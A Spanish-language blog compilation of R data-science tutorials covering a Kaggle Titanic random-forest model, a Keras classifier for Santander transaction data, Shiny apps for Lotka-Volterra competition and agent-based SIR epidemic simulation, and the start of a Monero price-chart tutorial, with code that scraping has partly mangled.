str(x)

# tenemos tres variables con factores, vamos a cambiarlas a numericas

x$Sex < -ifelse(x$Sex == "female", 0, 1)

table(x$Embarked)
empty < - x$Embarked == ""
x$Embarked[empty] < - "S"
x$Embarked < -ifelse(x$Embarked == "C", 1, ifelse(x$Embarked == "Q", 2, 3))

CABIN < - lapply(x$Cabin, substring, 1, 1)
x$Cabin < -unlist(CABIN)
table(x$Cabin)
x$Cabin < -as.factor(x$Cabin)
table(x$Cabin)
x$Cabin < -ifelse(x$Cabin == "A",
1, ifelse(x$Cabin == "B",
            2, ifelse(x$Cabin == "C",
                        3, ifelse(x$Cabin == "D",
                                    4, ifelse(x$Cabin == "E",
                                                5, ifelse(x$Cabin == "F",
                                                            6, ifelse(x$Cabin == "G",
                                                                        7, ifelse(x$Cabin == "T", 8, 0))))))))

# table(x$Cabin)

# x$Age==ifelse(x$Age<15,1,ifelse(x$Age<30,2,ifelse(x$Age<45,3,4)))

# x$SibSp2=ifelse(x$SibSp+x$Parch<1,1,ifelse(x$SibSp+x$Parch<4,2,ifelse(x$SibSp+x$Parch<6,3,4)))



nombres = t$Name % > %
str_replace_all(c(".*Mrs.*" = "MRS.", 
              ".*Mr.*" = "MR.", ".*Dr.*" = "DR.",
                  ".*Capt.*" = "CAPT", ".*Col.*" = "COL",
                  ".*Miss.*" = "MISS", ".*Rev.*" = "REV",
                  ".*Master.*" = "MASTER", ".*Major.*" = "MAJOR",   
                  ".*Countess.*" = "COUNTESS",
                  ".*Jonkheer.*" = "JONKHEER", 
                  ".*Don.*" = "DON", ".*Mlle.*" = "MLLE",
                  ".*Ms.*" = "MS", ".*Mme.*" = "MME"))


table(nombres)

x$Name = ifelse(nombres == "MR.", 1, ifelse(nombres == "MRS.", 2, ifelse(nombres == "MISS", 3, 4)))

x < -x
colnames(x)

x < -na.aggregate(x)

str(x)

x < -lapply(x, normalize)

x < -as.data.frame(x)

# TT<- lapply(t$Ticket, substring, 1, 1)
# x$Ticket<-as.factor(unlist(TT))
pos = x[x$target == 1,];neg = x[x$target == 0,]
set.seed(7)
epos = sample(1:nrow(pos), floor(0.7 * nrow(pos)))
post = pos[epos,]
poscv = pos[-epos,]

set.seed(7)
eneg = sample(1:nrow(neg), floor(0.7 * nrow(neg)))
negt = neg[eneg,]
negcv = neg[-eneg,]
train = rbind(post, negt);
cv = rbind(poscv, negcv)

A continuación enlacemos R y Python para obtener un algoritmo más potente presente en librerías Python. Afortunadamente, es pósible directamente desde R lo que facilita la creación del código.

Necesitas instalar la librería scikit-learn, por ejemplo, con

conda install scikit-learn . En mi caso, con Anaconda 3.7.

# py_config
# use_python("/home/ro/anaconda3/envs/r-tensorflow/bin/python")

k =
import

("sklearn.ensemble")

rf = k$RandomForestClassifier()

apply(train, 2, function(x)
any( is.na(x)))

rf$fit(train[, -1], train[, 1])

k$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
max_depth = NULL, max_features = 'auto', max_leaf_nodes = NULL,
min_impurity_split = 1e-07, min_samples_leaf = 1,
min_samples_split = 2, min_weight_fraction_leaf = 0.0,
n_estimators = 10, n_jobs = 1, oob_score = FALSE, random_state = NULL,
verbose = 0, warm_start = FALSE)
y_pred = rf$predict(cv[, -1])

roc = roc.curve(y_pred, cv[, 1])

roc$auc

#############


k2 =
import

("sklearn.ensemble")

rf2 = k2$RandomForestClassifier()

rf2$fit(train[, -1], train[, 1])

k2$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
max_depth = NULL, max_features = 'auto', max_leaf_nodes = NULL,
min_impurity_split = 1e-07, min_samples_leaf = 1,
min_samples_split = 2, min_weight_fraction_leaf = 0.0,
n_estimators = 10, n_jobs = 1, oob_score = FALSE, random_state = NULL,
verbose = 0, warm_start = FALSE)
y_pred = rf2$predict(cv[, -1])
#######
k3 =
import

("sklearn.ensemble")

rf3 = k3$RandomForestClassifier()

rf3$fit(train[, -1], train[, 1])

k3$RandomForestClassifier(bootstrap=TRUE, class_weight=NULL, criterion='gini',
max_depth = NULL, max_features = 'auto', max_leaf_nodes = NULL,
min_impurity_split = 1e-07, min_samples_leaf = 1,
min_samples_split = 2, min_weight_fraction_leaf = 0.0,
n_estimators = 10, n_jobs = 1, oob_score = FALSE, random_state = NULL,
verbose = 0, warm_start = FALSE)
y_pred = rf3$predict(cv[, -1])

Hemos entrenado 3 algoritmos para obtener un promedio de sus predicciones. Leamos la data test proporcionada en la competición y realicemos las mismas operaciones que aplicamos a la data de entrenamiento.

test < -read.csv("test.csv")
colnames(test)
colnames(x)
exp < - test[, c(-1, -8)]
colnames(exp)

x < - exp

str(x)
x$Sex < -ifelse(x$Sex == "female", 0, 1)

table(x$Embarked)
empty < - x$Embarked == ""
x$Embarked[empty] < - "S"
x$Embarked < -ifelse(x$Embarked == "C", 
1, ifelse(x$Embarked == "Q", 2, 3))

CABIN < - lapply(x$Cabin, substring, 1, 1)
x$Cabin < -unlist(CABIN)
table(x$Cabin)
x$Cabin < -as.factor(x$Cabin)
table(x$Cabin)
x$Cabin < -ifelse(x$Cabin == "A",
1, ifelse(x$Cabin == "B",
              2, ifelse(x$Cabin == "C",
              3, ifelse(x$Cabin == "D",
              4, ifelse(x$Cabin == "E",
              5, ifelse(x$Cabin == "F",
              6, ifelse(x$Cabin == "G",
                                                                        7, ifelse(x$Cabin == "T", 8, 0))))))))

table(x$Cabin)

nombres = test$Name % > %
str_replace_all(c(".*Mrs.*" = "MRS.",
                   ".*Mr.*" = "MR.",
                   ".*Dr.*" = "DR.",
                   ".*Capt.*" = "CAPT", ".*Col.*" = "COL",
                   ".*Miss.*" = "MISS", ".*Rev.*" = "REV",
                   ".*Master.*" = "MASTER", ".*Major.*" = "MAJOR",
                   ".*Countess.*" = "COUNTESS",
                   ".*Jonkheer.*" = "JONKHEER",
                   ".*Don.*" = "DON",
                   ".*Mlle.*" = "MLLE",
                   ".*Ms.*" = "MS", ".*Mme.*" = "MME"))

table(nombres)

x$Name = ifelse(nombres == "MR.", 1, 
         ifelse(nombres == "MRS.", 2, 
         ifelse(nombres == "MISS", 3, 4)))

colnames(x)

x < -na.aggregate(x)

str(x)

x < -lapply(x, normalize)

x < -as.data.frame(x)

xtest < - x

Ahora realizamos las predicciones con los 3 algoritmos creados previamente. Los tres algoritmos entrenados han funcionado cómo en la película Minority Report. Calculamos un promedio entre ellos y transformamos el resultado a binario nuevamente. En este punto se podría intentar ajustar el umbral de decisión, aunque 0.5 es lo acostumbrado.

Survived1 < -rf$predict(xtest) 
Survived2 < -rf2$predict(xtest) 
Survived3 < -rf3$predict(xtest) 

Survived < - (Survived1 + Survived2 + Survived3) / 3 

Survived < -ifelse(Survived < 0.5, 0, 1)

 Unos detalles más y tenemos nuestra data para ser enviada a ser evaluada en kaggle.

PassengerId < -test$PassengerId 

submi < -data.frame(PassengerId, Survived) 

View(submi) 

write.csv(submi, "SubmissionC6.csv", row.names = FALSE)

 Esto ha permitido una mejoría en las predicciones, hasta colocarnos en el centro de la tabla de posiciones, con un 78% de acierto.

Accuracy = 0.77990 

Ahora es tiempo de realizar unas revisiones de nuestras predicciones y modificar los valores que, por el conocimiento que tenemos de la data, no se ajustan a lo que pensamos esperar.

Modificadas las predicciones por el criterio de información que obtuvimos en el análisis inicial, sumamos nuestro conocimiento e intuición a la matriz de predicciones. El resultado: nos colocamos en el top 15% en el rating de posiciones de la competencia.

Accuracy = 0.79904 

(Top 15% con predicciones para el día 13 de Mayo)

He escrito otro artículo  para describir como mejorar estas predicciones utilizando ensamblaje de algoritmos Machine Learning. Te dejo el link para acceder. Allí se logra mejorar el código para alcanzar el 8% en el top de la tabla de posiciones.

Accuracy = 0.800861

TOP 8% Usuario DataScienceconRo

https://www.kaggle.com/c/titanic/leaderboard

(Predicciones para el día 21 de Mayo)

Hemos alcanzado colocarnos en el top 8% de la competición. Te invito a escribirime si tienes dudas o sugerencias. También puedes descargar el código actualizado en mi repo de github.

Hasta pronto. Gracias por leer.

noticia-ciencia-viral-titanic.jpg

App para el modelo de coexistencia competitiva de Lotka-Volterra

La librería «EcoVirtual» de R permite calcular y graficar el tamaño poblacional de dos especies en competencia seguiendo las ecuaciones de coexistencia de Lotka-Volterra. Para crear una aplicación interactiva que permita de manera amigable evaluar las diferentes combinaciones de parámetros del modelo, utilicé las librerías «shiny» y «plotly» (También disponible para Python).

Acá te dejo el link de la app https://programandoconro.shinyapps.io/Lotka-Volterra/.

install.packages ( c («EcoVirtual», «Shiny», «Plotly») )

Ahora vamos a definir la interfaz gráfica, dónde el usuario podrá desenvolverse sin conocimientos de programación. Aquí definimos la estructura y forma de nuestra app. Puntualmente, se han creado deslizadores interactivos que controlen todas las variables del modelo. También se agrega información en forma de texto utilizando el tag de html: «h5». A continuación el código R para el ui de Shiny que permite crear los componentes interactivos Java:

ui <- fluidPage(

# Application title
titlePanel(«Modelo de coexistencia de Lotka-Volterra «),
h5(«Instituto Venezolanos de Investigaciones Científicas, Centro de Estudios Avanzados, Maestría de Ecología, Asignatura: Sistemas complejos»),

# Sidebar with sliders input model parameters
sidebarLayout(
sidebarPanel(
sliderInput(«bins1a»,
«Tamaño inicial de la especie competitivamente superior:»,
min = 1,
max = 500,
value = 100),
sliderInput(«bins1b»,
«Tamaño inicial de la especie competitivamente inferior::»,
min = 1,
max = 500,
value = 100),

sliderInput(«bins1»,
«Tasa de crecimiento Sp1:»,
min = 0,
max = 1,
value = 0.05),
sliderInput(«bins3»,
«Capacidad de Carga Sp1:»,
min = 1,
max = 1000,
value = 80),
sliderInput(«bins2»,
«Tasa de crecimiento Sp2:»,
min = 0,
max = 1,
value = 0.03),
sliderInput(«bins4»,
«Capacidad de Carga Sp2:»,
min = 1,
max = 1000,
value = 50),
sliderInput(«bins5»,
«Efecto competitivo de Sp2 sobre Sp1:»,
min = 0.01,
max = 5,
value = 1.2),
sliderInput(«bins6»,
«Efecto competitivo de Sp1 sobre Sp2:»,
min = 0.01,
max = 5,
value = 0.5),
sliderInput(«bins7»,
«Tiempo máximo de simulación:»,
min = 10,
max = 10000,
value = 200)
),

# Show the ecuations and plot of Lotka-Volterra
mainPanel(
h4(«Siguiendo las ecuaciones»),
h4(

«SP1:

dN_1/dt = r_1*N_1*((K_1-N_1-alpha*N_2)/K_1)»),

h4(
«SP2:

dN_2/dt = r_2*N_2*((K_2-N_2-beta*N_1)/K_2)»),
h4(«obtenemos la siguiente gráfica de tamaño poblacional en el tiempo:»),

plotlyOutput(«distPlot»),
h5(«Referencias

Gotelli, N.J. 2008. A primer of Ecology. 4th ed. Sinauer Associates, 291pp. Hastings, A. 1980. Disturbance, coexistence, history and competition for space. Theoretical Population Biology, 18:363-373. Stevens, M.H.H. 2009. A primer in ecology with R. New York, Springer.

Ver

http://ecovirtual.ib.usp.br»),
h5(«——————————————————————-«),
h5(«Autor de la librería ecovirtual: Alexandre Adalardo de Oliveira [email protected]»),
h5(«—————————————————————–«),
h5(«Autor de la App: Rodrigo Díaz Lupanow, [email protected]»)
)
)
)

Ahora vamos a crear el servidor de nuestra app, dónde se llevarán a cabo los cálculos matemáticos que definen el comportamiento de nuestra aplicación. Basicamente utilizamos los objetos que queremos que reaccionen en la interfaz y los introducimos en las líneas de código para hacer una grafica en Plotly. Esto último puede ser sustituido por gráficas ggplot2, lattice o cualquier otra, pero es importante aclararlo en el servidor con la función que haga render a la librería o tipo de gráfica que se está utizando.

Nuestro servidor se aprecia de la siguiente manera:

# Define server logic required to draw Lotka-Volterra’s Plots
server <- function(input, output) {

output$distPlot <- renderPlotly({
#we use the function for the model
l= compLV(n01=input$bins1a, n02=input$bins1b,r1=input$bins1, r2=input$bins2,
k1=input$bins3, k2=input$bins4, alfa=input$bins5, beta=input$bins6, tmax=input$bins7)
l=as.data.frame(l)

#we plot our results
g=ggplot(data = l,aes(x=time,y=Nsp1),colour=c(«Sp 1 (comp.sup)», «Sp 1 (comp.inf)»))
g= g+geom_line(aes(col=»Sp 1 (comp.sup)»))+geom_line(aes(y=Nsp2,col=»Sp 2 (comp.inf)»))+xlab(«Time»)+ylab(«Population size»)+
scale_color_discrete(name = «Especies», labels = c(«green»,»purple» ))

ggplotly(g)

})

}

# Run the application
shinyApp(ui = ui, server = server)

He hecho algunos comentarios en las líneas de código en inglés, si tienes alguna duda o sugerencia espero tu comentario.

Esta app fue creada para la materia de Sistemas complejos en el post-grado en Ecología del Instituto Venezolano de Investigaciones científicas. El interés de su difusión y explicación es meramente  personal.

Gracias por leer.

Autor: Rodrigo Díaz Lupanow

Predicciones de transacciones bancarias utilizando Deep Learning

Con la librería «keras» R es posible tener acceso a algoritmos de aprendizaje profundo, o deep learning. Keras es permiter diseñar la arquitectura de los algortimos al nivel más alto para el aprendizaje automatizado. Escrito en Python, es capaz de correr sobre los frameworks TensorFlow.

Por otro lado, en la vida ya cotidiana tenemos contacto con algoritmos creados con Keras, tales como el de Netflix, Uber, Yelp, Instacart, Xocdoc, Square, entre otros.  Es especialmente popular en compañias que están iniciando y que colocan el Deep Learning en el núcleo de sus productos. Te invito a revisar este link para conocer sobre las sutiles diferencias entre los conceptos de Machine Learning  y Deep Learning.

En este caso, nuestro ejemplo será la data suministrada por la reciente competencia de kaggle, disponible aquí.

El repositorio de este proyecto está disponible en: https://github.com/programandoconro/Santander-Transactions-ML

Para instalar R y Rstudio, aquí explico cómo.  Para instalar keras en R, necesitas la función:

install.packages(‘keras’) # y luego

library (keras)

install_keras()

library(‘ROSE’)

library(‘caret’)

también utilizaremos la librería «ROSE», para acceder una función que permita calcular el parámetro de medición de la capacidad predictiva del algoritmo, para el caso de la competencia en concreto, el área bajo la curva (ROC) era el parámetro de interés.

A programar!, leemos la data (disponible en el link arriba)

x <- read.csv(«train.csv»)

En este artículo no describiré la exploración inicial de la data. Pero en este punto, es importante resaltar que la variable respuesta (target) es númerica binomial (0,1), por lo que se trata de un problema de clasificación. Las variables de entrada o independientes, son numéricas contínuas. Por esto, creamos una función para escalar las variables de entrada del algoritmo entre 0 y 1 (acelera encontrar el mínimo real en gradient descent, evita que se dé más peso a unas variables explicativas que a otras)

normalize <- function(x) { return((x – min(x)) / (max(x) – min(x)))}

Otra característica importante de la data es que está desbalanceada. Los casos en que la variable respuesta es 1, son mucho menos que cuando es 0. Puedes verlo con

table(x$target)

     0      1 
179902  20098 

Esto lo debemos tener en cuenta a la hora de dividir la data en dos secciones, una para entrenar y otra para validar. Cada una debe tener una proporción similar entre los tipos de respuesta. Algunas librerías hacen esto con una función. En este caso lo haremos «a mano».

pos=x[x$target==1,-1];neg=x[x$target==0,-1]

Creé dos objetos, unos con todos los casos positivos y otro con los negativos. Luego se crea un rastro para poder repetir  el exactamente el proceso sin depender de los eventos aleatóreos.

set.seed(123) #para poder repetir los casos que dependan del azar.

epos=sample(1:nrow(pos),floor(0.7*nrow(pos)))
post=pos[epos,]
poscv=pos[-epos,]
eneg=sample(1:nrow(neg),floor(0.7*nrow(neg)))
negt=neg[eneg,]
negcv=neg[-eneg,]

tr=rbind(post,negt); cv=rbind(poscv,negcv)
tr=lapply(tr, normalize);cv=lapply(tr, normalize)
tr=as.data.frame(tr);cv=as.data.frame(cv)

Obtenidas nuestra sección de la data para entrenar (70%) y para validar (30%), dónde las clases en las variables respuesta están bien distribuidas. Procedemos a aplicar nuestro algoritmo de Redes Neuronales Artificiales Deep Learning. Ahora vamos a diseñar la estructura de nuestra con código Python dentro de R gracias a keras (Algo parecido ocurre con código html-Java en R gracias a la librería Shiny).

model <- keras_model_sequential()

model %>%
layer_dense(units = ncol(tr[,-1]), activation = ‘relu’, input_shape = ncol(tr[,-1]), kernel_regularizer = regularizer_l2(l = 0.001)) %>%
layer_dropout(rate = 0.0) %>%
layer_dense(units = 150, activation = ‘relu’, kernel_regularizer = regularizer_l2(l = 0.001)) %>%
layer_dropout(rate = 0.95) %>%
layer_dense(units = 1, activation = ‘sigmoid’)

history <- model %>% compile(
loss = ‘binary_crossentropy’,
optimizer = optimizer_adam(lr=0.001),
metrics = c(‘accuracy’)
)

model %>% fit(
as.matrix(tr[,-1],dimname=NULL), as.numeric(tr$target),
epochs =3,
batch_size = 200,
validation_split = 0.0
)

Los parámetros los puedes ajustar luego de leer los manuales referenciales. Te resalto que se puede diseñar la arquitectura de red, se pueden regularizar las variables (para disminuir el sobre entrenamiento de la red), y se pueden definir diferentes optimizadores, métricas y otras.

Ahora, vamos a evaluar nuestro algoritmo realizando predicciones con nuestra sección de data de validación.

r=predict(model,as.matrix(cv[,-1],dimname=NULL))

a=roc.curve(cv$target, r)
a

Rplot

Hemos alcanzado un 88 % de acierto en las predicciones. Un buen punto para comenzar empezar a realizar calibraciones a la arquitectura del algoritmo. Pero, esto lo dejo para otra entrega sobre calibración que pienso hacer pronto. Igual, acá te dejo un link para que leas al respecto. Mantente conectado para aprender más sobre las técnicas y los fundamentos para aplicar Deep Learning en problemas del mundo real.

Luego de varios años utilizando algoritmos de Machine Learning en las ciencias puras, es la primera vez que tengo total certeza de la verdadera efectividad de estos métodos de aprendizaje automatizado.  La competencia permite evaluar la capacidad del científico para resolver problemas del mundo real y lo permite que sus futuras predicciones sean más robustas.

El link a la tabla de posiciones final está en https://www.kaggle.com/rodlupanow y el repositorio:

https://github.com/programandoconro/Santander-Transactions-ML

Hasta pronto. Gracias por leer.

Autor: Rodrigo Díaz Lupanow

App: Simulaciones de epidemias utilizando modelos basados en agentes autónomos

En el modelado de sistemas complejos se pueden programar «Agentes Autónomos» que aproximen o simulen computacionalmente las diversas y complejas variables de la realidad. El Dr. Sherry Towers en su página web,  muestra el código R para modelar epidemias poblacionales con mezclas homogéneas. Les invito a que lean la publicación científica producto de dicho código. El repositorio de este proyecto está acá: https://github.com/programandoconro/Simulaciones-de-epidemias

El día de hoy, ajustaré el código de Dr. Towers para que tenga componentes reactivos, utilizando Shiny. Con esto obtendremos un producto digital interactivo que permitirá simular multiples combinaciones de parámetros de manera amigable e intuitiva. En otras palabras, el usuario podrá «jugar» con las condiciones iniciales del modelo y observar los resultados de las simulaciones de manera práctica y divertida.

La aplicación finalizada está disponible en https://biorod.shinyapps.io/agentes_epidemia/

Si no has instalado R y su paquete Shiny, aquí  está el artículo dónde lo explico. Lo primero, identificar los objetos del código que nos interesa tengan reactividad en la aplicación. Los valores de los parámetros que tengan estos objetos podrán ser ajustados por el usuario. En nuestro caso, generé varios deslizadores (sliders) para ajustar los valores del tamaño poblacional,  número de individuos infectados inicialmente, número de simulaciones  y otros.

Con la librería Shiny se creé una interfaz de usuario (ui) y un servidor (server). En el ui se describirá todo el esqueleto y forma de la aplicación, en el servidor se define el proceso que se llevará a cabo. En conjunto formarán la app.

A continuación describo la ui o frontend:

library (shiny) #para abrir la librería

ui <- fluidPage(              #para crear la pagina web en blanco

# Título de la app
titlePanel(«Simulación de epidemias a partir de Modelos Basados en Agentes»),

# La barra lateral con los sliders que nos interesan
sidebarLayout(
sidebarPanel(
sliderInput(«bins»,
«Tamaño poblacional:»,
min = 1,
max = 1000000,
value = 10000),

sliderInput(«bins2»,
«Número de individuos infectados inicialmente:»,
min = 1,
max = 100,
value = 10),
sliderInput(«bins3»,
«Número de simulaciones:»,
min = 1,
max = 100,
value = 10),
sliderInput(«bins4»,
» Período de recuperacion (días^{-1}):»,
min = 0,
max = 1,
value = 1/3),
sliderInput(«bins5»,
«Tiempo final del experimento (días):»,
min = 120,
max = 1000,
value = 120),
sliderInput(«bins6»,
«Fuerza hipotética del virus:»,
min = 0,
max = 10,
value = 1.5,step = 0.1)
),

# Para mostrar la gráfica final
mainPanel(
plotOutput(«distPlot»),

#para introducir texto importante
h5(«Basado en el código obtenido a partir de: Stochastic Epidemic Simulation using an Agent Based model (with homogenous mixing equivalent to an SIR model), por Sherry Towers, disponible en: http://sherrytowers.com/2016/02/26/simple-agent-based-disease-modelling-with-homogenous-mixing/»),
h5(«Aplicación creada por Rodrigo Díaz para el seminario de la materia: Introducción a la Ecología de Ecosistemas, del Postgrado en Ecología. Prof. encargado: Carlos Méndez, Instituto Venezolano de Investigaciones Científicas (IVIC)»)

)
)
)

En el servidor o backend, sencillamente introduje el código R que el Dr. Towers compartió en su página web, pero modificando los objetos que reaccionaran a los deslizadores que creamos en la ui.

También fue necesario instalar la librería «deSolve» con install.packages(«deSolve») para realizar las derivadas necesarias en el backend.

# Define el servidor para realizar la gráfica final
server <- function(input, output) {

#a continuación el script modificado

# An R script to perform a stochastic epidemic simulation using an Agent Based model
# (with homogenous mixing equivalent to an SIR model)
#
# R script Author: Sherry Towers
# [email protected]
# Created: Feb 13, 2016

# App developer: Rodrigo Díaz Lupanow
# [email protected]
# Created: March 13, 2019

# Copyright Sherry Towers, 2016

# This script is not guaranteed to be free of bugs and/or errors

# This script can be freely used and shared as long as the author and
# copyright information in this header remain intact.
SIR_agent = function(N # population size
,I_0 # initial number infected
,S_0 # initial number susceptible
,gamma # recovery rate in days^{-1}
,R0 # reproduction number
,tbeg # begin time of simulation
,tend # end time of simulation
,delta_t=0 # time step (if 0, then dynamic time step is implemented)
){

# begin by reverse engineering the transmission rate, beta, from
# R0 and gamma
# beta is the number of contacts sufficient to transmit infection per unit time
# Thus, in time delta_t, a susceptible person will contact a Poisson random
# number of infected people, with mean beta*I*delta_t/N
# The probability an infected person will recover in time
# delta_t is p=1-exp(-gamma*delta_t)
# (note that p does not depend on t! This is due to the
# memoryless nature of the Exponential distribution)
#########################
beta = R0*gamma
#####################
# now set up the state vector of the population
# vstate = 0 means susceptible
# vstate = 1 means infected
# vstate = 2 means recovered
# randomly pick I_0 of the people to be infected
#####################################
vstate = rep(0,N)
index_inf = sample(N,I_0) # randomly pick I_0 people from N
vstate[index_inf] = 1 # these are the infected people
######################################
# now begin the time steps
########################################
t = tbeg
S = S_0
I = I_0
vS = numeric(0) # this will be filled with the number of susceptibles in the population over time
vI = numeric(0) # this will be filled with the number of infectives in the population over time
vtime = numeric(0) # this will be filled with the time steps
while (t<tend&I>0){ # continue the simulation until we have no more infectious people, or t>=tend
S = length(vstate[vstate==0]) # count the number of susceptibles, based on the state vector
I = length(vstate[vstate==1]) # count the number of infectives, based on the state vector
vS = append(vS,S) # append this info to vectors that we will return from the function
vI = append(vI,I)
vtime = append(vtime,t)
#cat(t,S,I,»\n»)
deltat=delta_t
if (delta_t==0){ # this is the calculation of a dynamic time step
deltat = 1/(beta*I*S/N + gamma*I)
}
recover_prob = (1-exp(-gamma*deltat)) # the probability an infective recovers in this time step
# sample Poisson random numbers of infected people contacted by each person
avg_num_infected_people_contacted = beta*I*deltat/N
vnum_infected_people_contacted = rpois(N,avg_num_infected_people_contacted)
vprob = runif(N) # sample uniform random numbers
vnewstate = vstate # copy the state vector to a temporary vector used for calculations

# Infected people recover if the sampled uniform random
# number is less than the recovery probability
vnewstate[vstate==1&vprob<recover_prob] = 2
# If a susceptible contacted at least one infective, they are infected
vnewstate[vstate==0&vnum_infected_people_contacted>0] = 1
vstate = vnewstate # update the state vector

t = t + deltat # update the time
}
final = 0
if (length(vS)>0) final = 1-min(vS)/N

return(list(time=vtime,I=vI,S=vS,final_size=final))

}####

SIR_agent_erlang = function(N # population size
,I_0 # initial number infected
,S_0 # initial number susceptible
,gamma # recovery rate in days^{-1}
,k # shape parameter of the erlang distribution
,R0 # reproduction number
,tbeg # begin time of simulation
,tend # end time of simulation
,delta_t=0 # time step (if 0, then dynamic time step is implemented)
){
cat(N,I_0,S_0,gamma,k,R0,tbeg,tend,delta_t,»\n»)
################################
# begin by reverse engineering the transmission rate, beta, from
# R0 and gamma
#
# beta is the number of contacts sufficient to transmit infection per unit time
#
# Thus, in time delta_t, a susceptible person will contact a Poisson random
# number of infected people, with mean beta*I*delta_t/N
#
# The probability an infected person will recover in time
# delta_t is p=1-exp(-gamma*delta_t)
# (note that p does not depend on t! This is due to the
# memoryless nature of the Exponential distribution)
################################
beta = R0*gamma
#################################
# now set up the state vector of the population
# vstate = 0 means susceptible
# vstate = 1 means infected
# vstate = 2 means recovered
# randomly pick I_0 of the people to be infected
################################
vstate = rep(0,N)
index_inf = sample(N,sum(I_0)) # randomly pick I_0 people from N
vstate[index_inf] = 1 # these are the infected people
#################################
# randomly set up the sojourn time spent so far in each state.
# when an individual leaves a state, the sojourn time gets reset to 0
################################
vsojourn = rep(0,N)
################################
# now begin the time steps
################################
t = tbeg
S = S_0
I = sum(I_0)
vS = numeric(0) # this will be filled with the number of susceptibles in the population over time
vI = numeric(0) # this will be filled with the number of infectives in the population over time
vtime = numeric(0) # this will be filled with the time steps
while (t<tend&I>0){ # continue the simulation until we have no more infectious people, or t>=tend
S = length(vstate[vstate==0]) # count the number of susceptibles, based on the state vector
I = length(vstate[vstate==1]) # count the number of infectives, based on the state vector
vS = append(vS,S) # append this info to vectors that we will return from the function
vI = append(vI,I)
vtime = append(vtime,t)
#cat(t,S,I,»\n»)

deltat=delta_t
if (delta_t==0){ # this is the calculation of a dynamic time step
deltat = 1/(beta*I*S/N + gamma*I)
}

# the probability an infective recovers in this time step
theta = 1/(gamma*k)
a = 1-pgamma(vsojourn,shape=k,scale=theta)
recover_prob = rep(1,N)
l = which(a>1e-4)
recover_prob[l] = (pgamma(vsojourn[l]+deltat,shape=k,scale=theta)-pgamma(vsojourn[l],shape=k,scale=theta))/a[l]

# sample Poisson random numbers of infected people contacted by each person
avg_num_infected_people_contacted = beta*I*deltat/N
vnum_infected_people_contacted = rpois(N,avg_num_infected_people_contacted)
vprob = runif(N) # sample uniform random numbers
vnewstate = vstate # copy the state vector to a temporary vector used for calculations

vsojourn = vsojourn+deltat
# Infected people recover if the sampled uniform random number is less than the recovery probability
vnewstate[vstate==1&vprob<recover_prob] = 2
# reset the time they have spent in their new state to zero!
vsojourn[vstate==1&vprob<recover_prob] = 0

# If a susceptible contacted at least one infective, they are infected
vnewstate[vstate==0&vnum_infected_people_contacted>0] = 1
# reset the time they have spent in their new state to zero!
vsojourn[vstate==0&vnum_infected_people_contacted>0] = 0

vstate = vnewstate # update the state vector
t = t + deltat # update the time
}
final = 0
if (length(vS)>0) final = 1-min(vS)/N

return(list(time=vtime,I=vI,S=vS,final_size=final))

}
output$distPlot <- renderPlot({
set.seed(777)
library(«deSolve»)
nrealisations = input$bins3
################################
# this is a function which, given a value of S,I and R at time t
# calculates the time derivatives of S I and R
# vparameters contains the parameters of the model, like the
# recovery period, gamma, and the transmission rate, beta
# this function gets passed to the deSolve package
################################
SIRfunc=function(t, x, vparameters){
S = x[1]
I = x[2]
R = x[3]
if (I<0) I=0

with(as.list(vparameters),{
npop = S+I+R
dS = -beta*S*I/npop
dI = +beta*S*I/npop – gamma*I
dR = +gamma*I
out = c(dS,dI,dR)
list(out)
})
}
#############################
# Set up initial conditions
N = input$bins # population size
I_0 = input$bins2 # number intially infected people in the population
S_0 = N-I_0
R_0 = 0 # assume no one has recovered at first

delta_t = 0.1 # nominal time step
tbeg = 0 # begin day
tend = input$bins5 # end day
gamma = input$bins4 # recovery period of influenza in days^{-1}
R0 = input$bins6 # R0 of a hypothetical strain of pandemic influenza
beta = R0*gamma # «reverse engineer» beta from R0 and gamma
# first simulate the model with deterministic ODE’s, so that we have something
# to compare our stochastic simulation to.
################################
vt = seq(tbeg,tend,delta_t)
vparameters = c(gamma=gamma,beta=beta)
inits = c(S=S_0,I=I_0,R=R_0)
sirmodel = as.data.frame(lsoda(inits, vt, SIRfunc, vparameters))
# now plot the results of the deterministic model
################################
par(mfrow=c(1,1)) # divides the page into two plotting areas

plot(sirmodel$time,sirmodel$I/N,

ylim=c(0,1.5*max(sirmodel$I/N)),

type=»l»,col=1,lwd=5,xlab=»Tiempo (días)»,

ylab=»Fracción infectada (prevalecencia)»,

main=paste(«Pandemia de Influenza en una población de «,N,sep=»»))
cat(«The final size of epidemic from the deterministic model is «,max(sirmodel$R/N),»\n»)

# now do several simulations using the agent based model, and overlay the
# results on those from the deterministic model
################################
vfinal = numeric(0) # we will fill this vector with the epidemic final size estimates from the simulations
for (iter in 1:nrealisations){
myagent = SIR_agent(N,I_0,S_0,gamma,R0,tbeg,tend,delta_t)
lines(myagent$time,myagent$I/N,lwd=2,col=(iter+1),lty=3)
cat(iter,nrealisations,»The final size of the epidemic from the agent based stochastic model is «,myagent$final_size,»\n»)
vfinal = append(vfinal,myagent$final_size)
}
lines(sirmodel$time,sirmodel$I/N,lwd=5)
cat(«The final size of epidemic from the deterministic model is «,max(sirmodel$R/N),»\n»)
legend(«topright»,legend=c(«Determinismo»,»Simulaciones basadas en agentes»),col=c(1,2),lwd=3,lty=c(1,3),bty=»n»)

})
}

Por último, es necesario correr la aplicación con:

shinyApp(ui = ui, server = server)

Recuerda que puedes acceder a la misma con Simulaciones de epidémias en poblaciones con mezcla homogénea utilizando modelos basados en agentes.

El repositorio de GitHub de este proyecto está acá: https://github.com/programandoconro/Simulaciones-de-epidemias

Gracias por leer. Vuelve pronto.

Autor: Rodrigo Díaz Lupanow

Gráfica interactiva del precio de Monero con Shiny y R

Aprovecha la interactividad gráfica que le puedes sumar a tu capacidad de programación en R. Eso te ofrece la libreria Shiny, un enlace para crear las aplicaciones que tu mente sea capáz de imaginar.

En Windows para instalar R debes navegar a http://cran.r-project.org/bin/windows/base/
y descargar el paquete que corresponda. Por ejemplo, en Ubuntu, instalar R es tán sencillo como entrar a la terminar y escribir:

sudo apt -y install r-base

R

Adicionalmente vamos a descargar e instalar Rstudio para trabajar con más facilidad. Este link te dará acceso a la versiones para los diferentes sistemas operativos. https://www.rstudio.com/products/rstudio/download/#download Nuevamente, en Ubuntu se realiza sencillamente descargando y escribiendo en terminal:

sudo apt install gdebi-core
cd Downloads
sudo gdebi rstudio-***distro***-***version***-amd64.deb

Ajusta la distro e introduce la versión más actual.

